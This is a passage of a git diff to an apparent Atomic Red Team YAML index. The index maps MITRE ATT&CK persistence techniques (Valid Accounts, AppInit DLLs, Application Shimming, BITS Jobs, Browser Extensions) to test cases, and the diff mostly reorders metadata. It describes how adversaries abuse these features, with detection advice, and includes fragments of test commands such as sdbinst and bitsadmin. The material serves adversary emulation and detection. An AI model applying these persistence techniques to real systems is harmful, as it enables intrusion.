https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM + - source_name: GitHub Mimikatz Issue 92 June 2017 + description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm + work, but generate Windows events #92. Retrieved December 4, 2017.' + url: https://github.com/gentilkiwi/mimikatz/issues/92 + modified: '2019-10-23T14:49:39.188Z' identifier: T1098 atomic_tests: - name: Admin Account Manipulate @@ -372,79 +420,15 @@ persistence: } '': technique: - external_references: - - url: https://attack.mitre.org/techniques/T1078 - source_name: mitre-attack - external_id: T1078 - - external_id: CAPEC-560 - source_name: capec - url: https://capec.mitre.org/data/definitions/560.html - - url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts - source_name: Microsoft Local Accounts Feb 2019 - description: Microsoft. (2018, December 9). Local Accounts. Retrieved February - 11, 2019. - - url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh - source_name: Metasploit SSH Module - description: undefined. (n.d.). Retrieved April 12, 2019. - - url: https://technet.microsoft.com/en-us/library/dn535501.aspx - source_name: TechNet Credential Theft - description: Microsoft. (2016, April 15). Attractive Accounts for Credential - Theft. Retrieved June 3, 2016. - - url: https://technet.microsoft.com/en-us/library/dn487457.aspx - source_name: TechNet Audit Policy - description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved - June 3, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - type: attack-pattern - x_mitre_contributors: - - Mark Wee - - Praetorian x_mitre_data_sources: + - AWS CloudTrail logs + - Stackdriver logs - Authentication logs - Process monitoring - modified: '2019-04-16T20:36:46.182Z' - x_mitre_detection: "Configure robust, consistent account activity audit policies - across the enterprise and with externally accessible services. (Citation: - TechNet Audit Policy) Look for suspicious account behavior across systems - that share accounts, either user, admin, or service accounts. Examples: one - account logged into multiple systems simultaneously; multiple accounts logged - into the same machine simultaneously; accounts logged in at odd times or outside - of business hours. Activity may be from interactive login sessions or process - ownership from accounts being used to execute binaries on a remote system - as a particular account. Correlate other security systems with login information - (e.g., a user has an active login session but has not entered the building - or does not have VPN access).\n\nPerform regular audits of domain and local - system accounts to detect accounts that may have been created by an adversary - for persistence. Checks on these accounts could also include whether default - accounts such as Guest have been activated. These audits should also include - checks on any appliances and applications for default credentials or SSH keys, - and if any are discovered, they should be updated immediately. " - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: initial-access - kill_chain_name: mitre-attack - id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 + x_mitre_permissions_required: + - User + - Administrator name: Valid Accounts - created: '2017-05-31T21:31:00.645Z' - x_mitre_version: '1.1' - x_mitre_defense_bypassed: - - Firewall - - Host intrusion prevention systems - - Network intrusion detection system - - Process whitelisting - - System access controls - - Anti-virus description: "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining @@ -478,47 +462,107 @@ persistence: may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)" + id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 + modified: '2019-10-23T14:22:11.800Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + - AWS + - GCP + - Azure + - SaaS + - Office 365 + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: "Configure robust, consistent account activity audit policies + across the enterprise and with externally accessible services. (Citation: + TechNet Audit Policy) Look for suspicious account behavior across systems + that share accounts, either user, admin, or service accounts. Examples: one + account logged into multiple systems simultaneously; multiple accounts logged + into the same machine simultaneously; accounts logged in at odd times or outside + of business hours. Activity may be from interactive login sessions or process + ownership from accounts being used to execute binaries on a remote system + as a particular account. Correlate other security systems with login information + (e.g., a user has an active login session but has not entered the building + or does not have VPN access).\n\nPerform regular audits of domain and local + system accounts to detect accounts that may have been created by an adversary + for persistence. Checks on these accounts could also include whether default + accounts such as Guest have been activated. These audits should also include + checks on any appliances and applications for default credentials or SSH keys, + and if any are discovered, they should be updated immediately. " + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Netskope + - Mark Wee + - Praetorian + created: '2017-05-31T21:31:00.645Z' x_mitre_effective_permissions: - User - Administrator - x_mitre_permissions_required: - - User - - Administrator - atomic_tests: [] - T1103: - technique: + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: initial-access external_references: - - url: https://attack.mitre.org/techniques/T1103 + - external_id: T1078 source_name: mitre-attack - external_id: T1103 - - url: https://support.microsoft.com/en-us/kb/197571 - source_name: AppInit Registry - description: Microsoft. (2006, October). Working with the AppInit_DLLs registry - value. Retrieved July 15, 2015. - - url: https://msdn.microsoft.com/en-us/library/dn280412 - source_name: AppInit Secure Boot - description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July - 15, 2015. - - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Autoruns - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. - Retrieved June 6, 2016. - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Secure boot disabled on systems running Windows 8 and later - x_mitre_permissions_required: - - Administrator + url: https://attack.mitre.org/techniques/T1078 + - source_name: capec + external_id: CAPEC-560 + url: https://capec.mitre.org/data/definitions/560.html + - description: Microsoft. (2018, December 9). Local Accounts. Retrieved February + 11, 2019. + source_name: Microsoft Local Accounts Feb 2019 + url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts + - description: undefined. (n.d.). Retrieved April 12, 2019. + source_name: Metasploit SSH Module + url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh + - source_name: TechNet Credential Theft + description: Microsoft. (2016, April 15). Attractive Accounts for Credential + Theft. Retrieved June 3, 2016. + url: https://technet.microsoft.com/en-us/library/dn535501.aspx + - source_name: TechNet Audit Policy + description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved + June 3, 2016. + url: https://technet.microsoft.com/en-us/library/dn487457.aspx + x_mitre_defense_bypassed: + - Firewall + - Host intrusion prevention systems + - Network intrusion detection system + - Process whitelisting + - System access controls + - Anti-virus + atomic_tests: [] + T1103: + technique: x_mitre_data_sources: - Loaded DLLs - Process monitoring - Windows Registry - modified: '2018-10-17T00:14:20.652Z' + x_mitre_permissions_required: + - Administrator + name: AppInit DLLs + description: |- + Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) + + The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) + id: attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Secure boot disabled on systems running Windows 8 and later + type: attack-pattern x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate @@ -533,25 +577,37 @@ persistence: such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41 - name: AppInit DLLs created: '2017-05-31T21:31:15.409Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) - - The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) x_mitre_effective_permissions: - Administrator - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1103 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1103 + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: AppInit Registry + description: Microsoft. (2006, October). Working with the AppInit_DLLs registry + value. Retrieved July 15, 2015. + url: https://support.microsoft.com/en-us/kb/197571 + - source_name: AppInit Secure Boot + description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July + 15, 2015. + url: https://msdn.microsoft.com/en-us/library/dn280412 + - source_name: TechNet Autoruns + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-16T19:09:25.240Z' identifier: T1103 atomic_tests: - name: Install AppInit Shim @@ -574,51 +630,15 @@ persistence: ' T1138: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1138 - source_name: mitre-attack - external_id: T1138 - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf - source_name: Black Hat 2015 App Shim - description: Pierce, Sean. (2015, November). Defending Against Malicious Application - Compatibility Shims. Retrieved June 22, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - Loaded DLLs - System calls - Windows Registry - Process monitoring - Process command-line parameters - modified: '2019-04-03T15:00:20.430Z' - x_mitre_detection: |- - There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): - - * Shim-Process-Scanner - checks memory of every running process for any Shim flags - * Shim-Detector-Lite - detects installation of custom shim databases - * Shim-Guard - monitors registry for any shim installations - * ShimScanner - forensic tool to find active shims in memory - * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) - - Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566 + x_mitre_permissions_required: + - Administrator name: Application Shimming - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application @@ -644,8 +664,44 @@ persistence: utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc." - x_mitre_permissions_required: - - Administrator + id: attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): + + * Shim-Process-Scanner - checks memory of every running process for any Shim flags + * Shim-Detector-Lite - detects installation of custom shim databases + * Shim-Guard - monitors registry for any shim installations + * ShimScanner - forensic tool to find active shims in memory + * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) + + Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1138 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1138 + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: Black Hat 2015 App Shim + description: Pierce, Sean. (2015, November). Defending Against Malicious Application + Compatibility Shims. Retrieved June 22, 2017. + url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf + modified: '2019-07-16T19:24:57.985Z' identifier: T1138 atomic_tests: - name: Application Shim Installation @@ -670,85 +726,85 @@ persistence: sdbinst.exe -u #{file_path} T1197: technique: + x_mitre_data_sources: + - API monitoring + - Packet capture + - Windows event logs + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + name: BITS Jobs + description: |- + Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. + + The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin) + + Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) + + BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016) + id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 + modified: '2019-07-16T20:02:53.027Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS) + + Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016) + + Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Ricardo Dias + - Red Canary + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence external_references: - - url: https://attack.mitre.org/techniques/T1197 + - external_id: T1197 source_name: mitre-attack - external_id: T1197 - - url: https://technet.microsoft.com/library/dd939934.aspx - source_name: Microsoft Issues with BITS July 2011 - description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January - 12, 2018. - - url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx - source_name: Microsoft BITS + url: https://attack.mitre.org/techniques/T1197 + - source_name: Microsoft COM + description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November + 22, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx + - source_name: Microsoft BITS description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018. - - url: https://msdn.microsoft.com/library/aa362813.aspx - source_name: Microsoft BITSAdmin + url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx + - source_name: Microsoft BITSAdmin description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018. - - url: https://www.secureworks.com/blog/malware-lingers-with-bits - source_name: CTU BITS Malware June 2016 + url: https://msdn.microsoft.com/library/aa362813.aspx + - source_name: CTU BITS Malware June 2016 description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018. - - url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ - source_name: Mondok Windows PiggyBack BITS May 2007 + url: https://www.secureworks.com/blog/malware-lingers-with-bits + - source_name: Mondok Windows PiggyBack BITS May 2007 description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018. - - url: https://www.symantec.com/connect/blogs/malware-update-windows-update - source_name: Symantec BITS May 2007 + url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ + - source_name: Symantec BITS May 2007 description: Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018. - - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx - source_name: Microsoft COM - description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November - 22, 2017. - - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ - source_name: PaloAlto UBoatRAT Nov 2017 + url: https://www.symantec.com/connect/blogs/malware-update-windows-update + - source_name: PaloAlto UBoatRAT Nov 2017 description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Ricardo Dias - - Red Canary - x_mitre_data_sources: - - API monitoring - - Packet capture - - Windows event logs - modified: '2018-12-13T20:07:42.839Z' - x_mitre_detection: |- - BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS) - - Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016) - - Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack + url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ + - source_name: Microsoft Issues with BITS July 2011 + description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January + 12, 2018. + url: https://technet.microsoft.com/library/dd939934.aspx x_mitre_defense_bypassed: - Firewall - Host forensic analysis - id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 - name: BITS Jobs - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. - - The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin) - - Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) - - BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016) - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM identifier: T1197 atomic_tests: - name: Download & Execute @@ -830,51 +886,6 @@ persistence: bitsadmin.exe /resume #{bits_job_name} T1176: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1176 - source_name: mitre-attack - external_id: T1176 - - url: https://developer.chrome.com/extensions - source_name: Chrome Extensions Definition - description: Chrome. (n.d.). What are Extensions?. Retrieved November 16, - 2017. - - url: https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf - source_name: Malicious Chrome Extension Numbers - description: Jagpal, N., et al. (2015, August). Trends and Lessons from Three - Years Fighting Malicious Extensions. Retrieved November 17, 2017. - - url: https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ - source_name: Chrome Extension Crypto Miner - description: Brinkmann, M. (2017, September 19). First Chrome extension with - JavaScript Crypto Miner detected. Retrieved November 16, 2017. - - url: https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ - source_name: Banker Google Chrome Extension Steals Creds - description: Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. - Retrieved November 18, 2017. - - url: https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) - source_name: Catch All Chrome Extension - description: Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension - Steals All Posted Data. Retrieved November 16, 2017. - - url: https://kjaer.io/extension-malware/ - source_name: Chrome Extension C2 Malware - description: 'Kjaer, M. (2016, July 18). Malware in the browser: how you might - get hacked by a Chrome extension. Retrieved November 22, 2017.' - - url: https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ - source_name: Stantinko Botnet - description: 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware - campaign operating covertly since 2012. Retrieved November 16, 2017.' - - url: https://en.wikipedia.org/wiki/Browser_extension - source_name: Wikipedia Browser Extension - description: Wikipedia. (2017, October 8). Browser Extension. Retrieved January - 11, 2018. - - url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses - source_name: ICEBRG Chrome Extensions - description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME - EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL - BUSINESSES. Retrieved January 17, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Justin Warner, ICEBRG x_mitre_data_sources: - Network protocol analysis - Packet capture @@ -882,30 +893,75 @@ persistence: - Process use of network - Process monitoring - Browser extensions - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. - - Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: + x_mitre_permissions_required: + - User + name: Browser Extensions + description: |- + Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition) + + Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware). + id: attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8 + x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8 - name: Browser Extensions - created: '2018-01-16T16:13:52.465Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition) + x_mitre_detection: |- + Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. - Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware). - x_mitre_permissions_required: - - User + Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Justin Warner, ICEBRG + created: '2018-01-16T16:13:52.465Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1176 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1176 + - source_name: Wikipedia Browser Extension + description: Wikipedia. (2017, October 8). Browser Extension. Retrieved January + 11, 2018. + url: https://en.wikipedia.org/wiki/Browser_extension + - source_name: Chrome Extensions Definition + description: Chrome. (n.d.). What are Extensions?. Retrieved November 16, + 2017. + url: https://developer.chrome.com/extensions + - source_name: Malicious Chrome Extension Numbers + description: Jagpal, N., et al. (2015, August). Trends and Lessons from Three + Years Fighting Malicious 